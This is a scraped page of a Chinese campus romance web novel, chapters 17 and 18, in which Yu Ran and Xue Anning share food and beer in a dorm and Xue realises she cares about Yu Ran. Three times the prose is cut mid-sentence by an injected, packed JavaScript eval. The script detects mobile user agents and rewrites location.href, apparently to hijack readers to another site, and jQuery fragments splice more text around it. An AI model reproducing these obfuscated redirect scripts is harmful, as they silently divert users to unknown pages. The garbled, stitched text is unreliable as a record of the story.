;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054842|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在反而关心起她的人际关系融不融洽了。 但笑容挂在脸上没两秒,黄遐难为起来:“我们吃不完这么多啊,而且这个点谁不是刚吃完晚饭啊?你早说是买给我们吃的我就让你少买点了。” 浪费挺可耻的。 这时,郁燃又说话了:“薛安甯不是跟你住一栋吗?” 她靠在床边的梯子上,低头看手机,有意无意地提醒。 “哦对,我叫她上来吃点。”黄遐转头去找手机,“也不知道她们今天有没有晚自习。” 她们英语系大一大二不仅有全强制的早自习,还有半强制的晚自习,每周两天,一三或者二四,具体怎么排看情况。 黄遐找到手机给薛安甯拨了个语音电话过去,没人接。 她又留了条消息。 十分钟以后,寝室门被人从外敲响。 过去开门的是黄遐她们寝室的北北。 门只开了半大不小的一条缝,看不见,只听见薛安甯的声音传进来,清甜的嗓音,笑着和北北打招呼:“诶?北北学姐是不是瘦了呀?” 北北尖叫一声:“啊!!!真的吗?你看出来了啊?我最近在减肥呢!” 郁燃听着她们对话,指尖漫不经心在屏幕上滑动着。 “你进来说话,外边冷。”北北侧身,给薛安甯让开条进门的路。几乎同时朝外边阳台上喊了一声,“黄遐,小学妹来了!” 郁燃直起后腰,垂手,偏头缓缓朝门口望去——薛安甯也在这时看见和她一样,同属“外人”的郁燃。 郁燃的羽绒外套进来没一会儿脱掉了,围巾也取下来挂在黄遐的椅子上。 这会儿她就着一件深咖啡的半高领毛衣,修长的颈脖一半暴露在空气中,一半,隐藏在毛衣底下,整个人看起来干干净净,像大雪封天人工湖边的雾凇,淡冷,又美丽至极。 四目相对。 郁燃朝她笑了:“我给她们带了点卤味,买多了。” 薛安甯恍然:“我说黄遐学姐怎么突然叫我上来吃卤味呢……” 郁燃:“但你刚吃完晚餐是不是,要是不饿的话吃点哈密瓜也可以,黄遐在切。” 薛安甯:“还有水果吗?” “嗯,顺手买的。”郁燃闲聊似的,“这两天刚忙完一个比赛,本来准备抽空找你吃饭,黄遐先找我了。” 薛安甯没想到郁燃会突然说起这个。 有一种明明是不经意,却又被刻意照顾的感觉。 她有点,不知道怎么接话。 擅于交际的技能仿佛突然失效。 恰好黄遐这时推门从阳台进来,手里端着两碗切好的哈密瓜果切:“薛安甯,你还吃得下吗?郁燃买了好多卤味过来,你看看能帮着吃点啥……” 薛安甯看见她手里那两碗满当当的果切,突然觉得胃很撑。 她转头看郁燃:“那这顿,算吗?” 没头没脑的一句。 但郁燃接上了,她稍稍低头手背蹭了蹭鼻尖,唇角是细微的弧度:“放心,这顿不算,过几天再另外找你。” 薛安甯弯眸,上去帮黄遐接手里的东西。 她嘴上问着:“是食堂二楼买的?” 黄遐:“对!我吃个饭的功夫转头她就拎了这么多回来。” 郁燃在旁边说话:“没事,不多,你再吃点。” 黄遐:“我又不是猪!!”她说着,又转头找人,“北北呢,北北肯定没吃,北北最近不是减肥呢吗?过来吃点卤肘子。” 北北声音弱弱从自己床位桌旁传来:“我是没吃,但你也说了我在减肥,这不好……” 黄遐才不管那么多:“减肥多不健康!” 她和另外两个室友生拉硬拽,给人拽了过来。 寝室里仅有的三张小桌板被翻出来,拼放在路中央,六个人围着坐有些挤,但也能坐下。 郁燃中途去了趟厕所,回来时,就剩北北和黄遐中间还有个空位。 薛安甯和她中间,隔着个黄遐。 她没说什么,挨着坐下。 大家边吃边聊。 没两分钟,郁燃挪动身子,拧着脖子朝后方抬头看一眼,接着拍拍身旁正啃鸡爪的黄遐:“空调风吹得我不舒服,我们换换。” 17.玩笑 换了位置,郁燃挨着薛安甯坐下。 寝室中间的空地不大,她一条腿折起,另条腿微微弓着,薛安甯给她递来搓开的一次性手套。 “谢谢。”郁燃接过,看见薛安甯转头又和另侧的北北说话。 她微微敛眸。 反而是换过去的黄遐还有些懵。 黄遐觉得不太对。 反头看了两次,她终于反应过来自己和郁燃的位置换不换似乎都没太大的差别,寝室地方就这么大,风口就朝着这个方向,坐哪不是吹? “你不觉得换来换去都一样吗?”黄遐用胳膊碰了碰她,倒没着急啃鸡爪了。 郁燃回望,眨眼:“有吗?” 北北看不下去她俩在这种事情上墨迹了,插嘴:“遥控器在你们谁那,我把风往上打好了,这样谁都不会吹到。” 郁燃不说话,拎着一次性手套缓缓撑开。 空调风不一会儿就被调成朝上,这下,大家都没意见了。 北北吃两口猪耳朵,觉得好没劲:“干吃不怎么吃得下,要不喝点酒吧?有人想喝吗?” 刚套好手套,郁燃听见她的话,抬头:“你们寝室还有酒吗?” 北北:“上次隔壁寝室过生日买了好多酒回来,她们那放不下就扔了一部分在我这,后来大家都把这事忘了。” “啤酒,要是不嫌弃的话。” 北北嘿嘿笑,实则已经开始起身。 郁燃欣然应下:“我都可以。” 薛安甯坐在她旁边,抱住膝盖歪着头,仔细分析了一下郁燃方才听到有酒的反应,想了想:“你好像还挺喜欢喝酒的,是不是?” 一开心就想喝酒。 第一次是在烧烤摊,第二次,就是现在。 尽管只有两次,薛安甯还是捕捉到了。 黄遐假笑两声,抢答:“她啊,就纯纯属于那种人菜瘾又大的,等再熟点你就知道了。”说完,没忘记补充自己,“当然,我比她要好一点。” “我人菜,但没瘾。” 薛安甯被她这句逗乐:“我还以为你说的好点,是指酒量好点。” 黄遐的表情很好笑:“可不敢夸这海口!” 郁燃也不在意被好友就这样揭了底,她稍稍侧过脸,漂亮的乌瞳里是含蓄的笑意:“去年有段时间失眠睡不着,不想吃药,就上网搜了搜,发现有人说睡前喝点酒更好入眠,试了试效果还不错。” 后来喝得频繁,不失眠了也爱喝点。 酒精能够催发很多种情绪,将它们放大,再让人变得钝感。 郁燃挺喜欢,那种微醺的感觉。 北北从柜子底下的快递箱里翻出差不多十罐长筒形啤酒,分两次抱过来,小桌板上都放不下。 郁燃抽出湿巾挨个擦,拉开,啤酒泡沫混着清凉的液香扑面而来。 “你喝吗?”她转头,看向薛安甯。 薛安甯摇头:“我不喝了,其实我现在还挺饱的,再喝酒就真撑到了。” “嗯。”郁燃于是将手里这一罐递给了旁边的黄遐,然后继续开其它的,“既然不想吃,那黄遐叫你为什么不拒绝?” 不是想着,你可能在吗? 薛安甯抿了抿唇瓣,又轻轻松开。 其实从食堂回去以后她心里不太自在,闷闷的,像有颗石子堵住。 薛安甯自己也说不上来为什么。 但她大抵知道是跟郁燃的态度有关,以及贺思琪后来开玩笑那句——“你不是说你跟郁燃很熟吗?” 薛安甯发现自己真的很在意。 她很在意,郁燃。 或者说,鱼白。 但说出口却是:“那怎么行呢?学姐难得叫我一次。” “对吧,学姐。”薛安甯冲黄遐眨眨眼,咬一口牙签上的哈密瓜果切。 身侧,郁燃又开一罐,送到自己唇边。 这番对话让黄遐获得了极大满足感,被哄得都快找不着北:“天呐甯甯宝贝,我要封你为天下第一乖宝宝!你放心,下次有什么好事我还叫你!” 薛安甯又被她的夸张逗笑,转头,看见郁燃拎着根牙签插了块哈密瓜正往黄遐嘴里送,打断施法。 郁燃问她:“那我呢?” 东西喂到嘴边,哪有不接的道理? 黄遐边吃边乐:“亲爱的大小姐,您还用得着我来封吗?” 她俩小学起就认识了,那会儿郁燃小小一个就派头十足,就连班上最调皮的男孩子都不敢随意招惹,这么多年了,郁燃还是这样。 黄遐开心起来就爱说话,边吃边说,再喝两口。 没一会儿,就微醺了。 话匣子一旦打开,就关不上。 “你们知道我俩怎么熟的吗?五年级的时候隔壁班男生不知轻重扯她头发,她给人当众说哭了,隔天家长陪着过来还了她两大包新皮筋。我一看这人好厉害,跟她玩以后指定不能被人欺负了去。” “哈哈哈,后来证明我确实是对的。” 郁燃配合地举起手里的酒,跟她轻轻一碰:“友谊长存,战绩可查。” 轻抿一口酒,郁燃感受到来自身旁的视线,转头,不意外捕捉到一只薛安甯,睫羽轻颤:“在看什么?” 她明知故问。 薛安甯倒是很大方,也不闪躲,唇角边的梨涡混着星闪闪的笑眼,半托着腮:“看你啊。” 即便是预料中的答案,郁燃还是愣了下。 指尖蹭了蹭冰凉的罐身,她垂下眼帘去看小桌板,桌板边缘好像落了一滴油。 郁燃捏起旁边的纸巾,将这滴油吸走。 薛安甯继续说:“在看,你是不是真有黄遐学姐说的那么厉害,能把人说哭。” 薛安甯在开玩笑。 其实印象中郁燃对她都挺好的,第一印象就是,也不存在别人嘴里说的那种情况。 她早就吃撑,勉强跟着吃了点猪耳朵,然后时不时吃口水果,和大家说话比较多。 这会儿也是。 雪白的纸巾被脏污的油渍浸染,郁燃将它随手抛进身后的垃圾桶,再迎上薛安甯那双星闪闪的乌眸,那点涟漪也被抚平:“你也不差。” “啊?”薛安甯缓缓眨眼。 郁燃反手朝后,撑在冰凉的瓷砖地面,问她:“那你知道我第一次见你是什么时候吗?” 这个问题…… 薛安甯的答案有点多。 她说了最保守的那一个:“借本子?” “对啊,爱国主义教育那回吧?”黄遐突然插话,“我不带你去你俩还认识不了呢。” 郁燃睨黄遐一眼,重新看回薛安甯,笑了声:“高铁上。” “啊?” “什么什么,什么高铁?” “看来有故事。” 包括黄遐在内的其他三人异口同声发出疑惑的声音,郁燃却没有替她们解答的意思,在此时起身:“我去一下厕所。” 黄遐目光追着她:“喂!说话又说一半你!” 郁燃走了,黄遐只好将注意力放到薛安甯身上。 后者此时已经反应过来郁燃说的是什么,掌心覆在眼睛上,有一点难为情。 面对黄遐她们追问,薛安甯撤下手含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061709|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊带过:“其实没什么,她说的可能是开学来校的那趟高铁,我坐的那节车厢有不少都是到西京下的,但我下车的时候没注意,人太多了。” 何止是没注意,薛安甯忽然想起那会儿座位后方响起的那声笑息。 黄遐听了个大概,纳闷:“那也没什么不能说的嘛,就爱卖关子这人。” 等郁燃回来的时候,话题已经换了好几轮。 她挨着薛安甯自如地坐下,没再提起刚刚说了一半的话,时不时和黄遐还要拌几句嘴。 倒惹得薛安甯心里痒痒,有只猫爪在挠似的。 想问郁燃。 我听见的那声笑,是不是就是你啊? 好几次欲言,又止,没找到合适的机会。 吃到后来,大家基本都已经脱掉手套纯闲聊。话题换了又换,薛安甯的心思早就跑远,黄遐突然看她:“对了薛安甯,你们班这周六是不是要出去团建来着,地方定在哪了?” 薛安甯反应了好几秒,才报出地名:“洪湖屋顶烧烤。” 北北听着觉得耳熟,回忆两秒,问黄遐:“咱们班以前团建好像也是去的那是不是?” “那地方怎么样?”这次,是郁燃的声音,“之前答应了陆司听她们等忙完这阵聚聚,还没找到合适的地方。” 薛安甯刚回来没多久的思绪一对上郁燃那双清雾水眸,就又跑远了。 她还在想那天高铁上的事情,耳后发热。 当时不觉得。 但如果郁燃第一次认识她是通过那种方式的话…… 郁燃见薛安甯没说话,继续问:“周六是吗?要是合适的话,我们也去,”她半开玩笑的口吻,“到时候说不定又能碰见。” 结果薛安甯只听见了最后半句,好半天没出声的人,突然说话:“那很好。” 围坐的人同时怔愣住。 郁燃也愣住。 她静静望着薛安甯。 倏尔—— “她在说什么?” “你怎么一直在走神啊薛安甯。” “你是不是醉了!” “乱说,她没喝酒!!” 好一会儿,薛安甯反应过来自己说了什么,窘迫与尴尬交替,都不及郁燃似含深意的目光让人来得想要闪躲。 薛安甯别开眼,强装镇定:“啊?你们刚刚说什么了?我刚刚在想事情没认真听。” 身侧,那道如有实质的目光始终存在。 黄遐笑话她:“你这么大个人坐在这都能走神呢?” 薛安甯拿起牙签插一块哈密瓜送到嘴边,含糊带过:“我刚刚是不是属于已读乱回了?哈哈哈。” 黄遐:“差不多哈哈哈!” 这时候,郁燃搭在腿上右手落在身侧,撑起,让身体朝一侧稍稍倾斜,转过脸来看她:“你脸有些红,是偷偷喝酒了吗?” 有人往本就不平静的湖面上,又扔下一颗石子。 探路。 郁燃说,郁燃靠近,郁燃的头发丝好像蹭到她了。 郁燃,郁燃。 欲燃。 薛安甯才是真的快要烧起来,温度在上升,眼睛,耳朵,鼻子,皮肤。 这是薛安甯第一次发觉到自己的异常。 却来不及细想。 “有吗?”她转过脸来,薄唇轻抿。 目光相触的刹那,薛安甯仿佛被吸进郁燃那双深邃的乌眸里,她绷紧了神经,不知道为何在莫名紧张。 郁燃静静凝着她,也就几秒钟的时间。 有人松开了唇瓣,笑息浮动:“没有,开玩笑的。” 18.突然冷淡 一场临时兴起的小聚会在接近八点的时候散场。 桌上卤味还剩不少,黄遐看不下去,提着东西到隔壁几个寝室去分,其它人打扫残局,收桌子,捡垃圾。 走的时候,郁燃两只手上塞满几个黑色垃圾袋。 “楼层垃圾桶满了,反正也不重,你就做做好事拎下去扔吧。”黄遐将她送到门口,恰到好处的微笑弧度,弯腰做了个“请”的姿势。 礼数周到地指使郁燃干活。 薛安甯见了,主动伸手:“我也拿一部分,我和她一起下楼。” 仿佛十几分钟前,那个心慌窘迫的人不是自己。 郁燃没客气,分了一半给薛安甯。 老式的宿舍楼一共七层,没有电梯,这会儿该上晚自习的人都已经走了,大冬天,外出的人很少,两人踏在楼梯上轻盈的脚步声都格外清晰。 宿舍楼旁的绿化带旁就有个大号垃圾桶。 东西扔进去,薛安甯在转身同时下意识瞧一眼对面正营业的小超市。 郁燃顺着她视线看过去,轻轻笑:“又要买卫生巾吗?” 薛安甯有些懵然。片刻后,她反应过来:“啊?没……上次买的还没有用完。”接近零下的室外温度,藏在头发底下的耳朵又开始升温。 所以之前那次,郁燃一直知道? 那还挺失败的。 郁燃看着她:“回去吧,我没什么事,一会儿回到宿舍给你发消息。” 大概是看出来薛安甯又有想送自己一段的苗头,郁燃直接掐断了。 天太冷,风也大。 就在门口站这么一会儿的功夫,学妹耳朵都冻红了呢。 郁燃目光从薛安甯半露着,微微泛红的耳尖上移开。 薛安甯:“那,我上去了。” 郁燃:“嗯。” 回到寝室,刚一进门贺思琪就叫住她:“薛安甯,你衣服洗好我给你拿回来放外边了,你晒下。” “哦,好。”薛安甯放下门禁卡,直接过去阳台。 她要晾衣服,但晾衣杆不见了。 找了一圈,薛安甯从阳台进来。 江姜反过头看她:“晾衣杆不是被隔壁借走了吗,我记得她们还是找你借的,你忘了?” “啊,好像是,我去问问。” 是有这么个事,而且就在今天中午,她亲手借出去的。 薛安甯又出门,找隔壁寝室的人拿晾衣杆。 东西拿回来后她没直接去阳台,坐在桌前开始整理桌面,桌面收拾好,又靠在吊椅上发了会儿呆。 没多久,贺思琪叫她:“你不是要晾衣服吗?” “……对,我现在去。” 薛安甯又起身。 视线追着人走到阳台,贺思琪没忍住出声:“她怎么了啊?上楼玩一趟怎么回来跟丢了魂似的……” 毛肖晴:“该不会生病了吧?” 江姜:“一会儿问问。” 几个人盯着薛安甯晾好衣服从阳台进来,贺思琪离开座位走到对面床位,薛安甯抬头,茫然地看她:“怎么了?” 贺思琪皱眉:“你是不是哪不舒服,怎么回来后魂不守舍的。” “有吗?”薛安甯转头,发现其它两个室友也在看自己,知道引起大家担心了。她叹口气,“我没事,就是吃多了有点困,今晚早点睡觉好了。” 用科学一点的话来解释,就是晕碳水了。 贺思琪听完,默默翻个白眼。 没多久,薛安甯端起牙刷杯往外走。 不到九点,她就爬上床,拉紧了床帘。 尽管时间还早,但上床以后大家都默契地放轻了活动动静。 薛安甯靠在床头,盯着屏幕上郁燃几分钟前发来的消息,说自己已经到寝室。 她没回。 眼见着屏幕亮度黯淡,没多久,自动熄灭。 薛安甯轻轻咬住唇,手机反手盖在被子上,神情复杂。 她今晚终于后知后觉意识到,自己好像对郁燃真的有点太在意了,在意到有点超出普通朋友范围——至少,过去她从没对谁这样在意过。 这种感觉太陌生,让人有点不知所措。 但,好像也找不到可以问的人。 正犯愁。 被子上屏幕光从边缘溢了出来,在光线昏暗的帘子里,格外醒目。 薛安甯拿起来看。 郁燃又发消息来了,是张自拍照,后面跟着文字消息:刚才回来她们说我脸有点红,我说可能是在黄遐那喝了点酒,但一照镜子,又觉得脸色正常。 -耳机猫:你觉得呢? 耳机猫看上去在很认真的地询问薛安甯。 薛安甯点开那张高清自拍照,仔细查看——比较日常的自拍,角度不算刻意但光线饱满,脸算不上红,和楼下分开那会儿自己看到的没什么区别,很自然。 很漂亮。 薛安甯怀疑郁燃是不是又在逗自己,真的有那么一个室友这么说了吗? 她的注意力开始偏移到其它地方。 之前没发现,郁燃的唇形也挺好看的,眼睫毛也浓,是很标准的美女长相。 极具侵略性的那种美,侵略人视感,第一眼就让人印象深刻,而那双淡淡的水眸却很好地中和了五官带来的冲击感,让这张脸不落俗气。 薛安甯看了好一会儿,敲下组英文单词。 :a little。 既然郁燃都问了,那她随便给个答案吧。 耳机猫:隔着屏幕都感觉到了你们英语系的洋气。 黄遐也经常这样,说话说着冷不丁就给你来个单词。 爱玩梗,洋不洋土不土的。 薛安甯捧着手机笑出声,她发现郁燃还挺爱开玩笑的,方才萦绕心头的纠结被暂且抛至脑后。 新的消息接着弹出。 -耳机猫:新歌准备发了。 :真的啊?什么时候,几点? -耳机猫:明天中午十二点,网易。 看见这条,薛安甯切出去订了个明天十二点的闹钟,截图,又切回来发过去。 :[图片]耳朵已就位 :[为你打卡][为你打卡] 她是真的很期待郁燃的新歌。 想到这,薛安甯又切到微博去看了眼自己特别关注那一栏鱼白的动态,确定自己没漏掉看什么以后才将心稍稍放回肚子里。 也是这时,薛安甯想通了。 正是因为有着鱼白这层滤镜在,她在和郁燃相处时所产生的一系列反应都是正常的,不论是紧张还是心跳加速,又或者小心翼翼,都可以归结于简单的“崇拜情绪”。 正是因为从未想过会以这种方式接触到自己极为欣赏的音乐人,才会衍生出这么多情绪。 郁燃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065493|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她从前交过的任何一个朋友都不同。 郁燃,不是普通朋友。 第二天满课。 教学楼出来去往食堂的路上,薛安甯的闹钟响了。 她从口袋里摸出早就准备好的耳机插上,通知室友自己要听新歌了,接下来这几分钟的时间内,请勿打扰。 江姜笑话她是郁燃的迷妹。 薛安甯没反驳。 自己听一遍,朋友圈和爱唱平台分享一遍, 用过午餐回到寝室后她又插上耳机,打开单曲循环。 这次的新歌,对薛安甯来说有那么些不一样。 因为早在歌曲发布之前,借着郁燃的关系,她就提前听过demo。 而且,是在制作现场。 有那么一点点的虚荣心,在膨胀。 她只是鱼白众多粉丝中的一个,和大家都一样。 但又不一样。 她还是,有那么丁点特殊的一个。 下午去上课的路上,薛安甯打开微博看见了鱼白为新歌宣传发布的微博,她想了想,切到自己的爱唱主播账号进行了转发——一个粉丝刚过千,甚至连平台认证都没有的账号。 @玉碎:[打卡][打卡][打卡]是等了很久的新歌耶! 做完这些,她将手机揣回兜里。 周末没闲,早就定好的班级团建活动,身为组织班干部仍旧要早起。 约好的大巴车在学校东门等着,点好人数,直接出发。 天气不错,日暖风和,团建地点在十七公里外的一家洪湖屋顶烧烤,已经属于郊区地段。 这家屋顶烧烤在本地经营好几年了,口碑不错,经常有企业和高校过去团建,除了顶层的帐篷烧烤,往下两层还有小型KTV,桌游室等等。 薛安甯心里想着郁燃那天半玩笑半认真说出口的话。 郁燃说,周六她也要和朋友过来,说不定又能遇见。 抵达屋顶烧烤的时间是上午十点半,上去后,薛安甯特意绕场张望一圈,没看见多余的人影。 等装箱的肉菜和工具送上来,大家按寝室分组领走食材各自分工清洗,开始串签。 到炭火升起的时候,时间已过十二点。 毛思晴去趟洗手间,回来时,喊一声正在给铁网刷油的薛安甯:“郁燃今天也在这啊,你知道吗?” “你看见她了?在哪?”薛安甯刷油的动作一顿。她抬抬手,又接着将剩下的部分继续刷完,自然地接话,“她之前问过我团建地点在哪,说想和朋友聚,找不到合适的地方。” 毛思晴在烤架前坐下,拿一把串好的牛肉放上去,顿时油烟四起,肉香飘溢:“我刚刚路过去厕所看见有人找她要微信,就在西边角落那桌,好像刚到没多久。” 半小时前她也路过了那边,那会儿没人。 “刚到就有人要微信啊,也太受欢迎了吧?”江姜这会儿刚好从别组回来,好奇地问,“男的要还是女的要?” 薛安甯竖着耳朵听。 “男的。”男的啊。 “给了吗?”应该不会给。 “给了,挺爽快的。”毛肖晴朝那边望一眼,又看薛安甯:“那薛薛,你一会儿是不是得过去打个招呼啊?” 薛安甯没接话,也没抬头。 好一会儿,毛肖晴才听见她轻轻“嗯”一声,突然冷淡许多:“晚些吧。”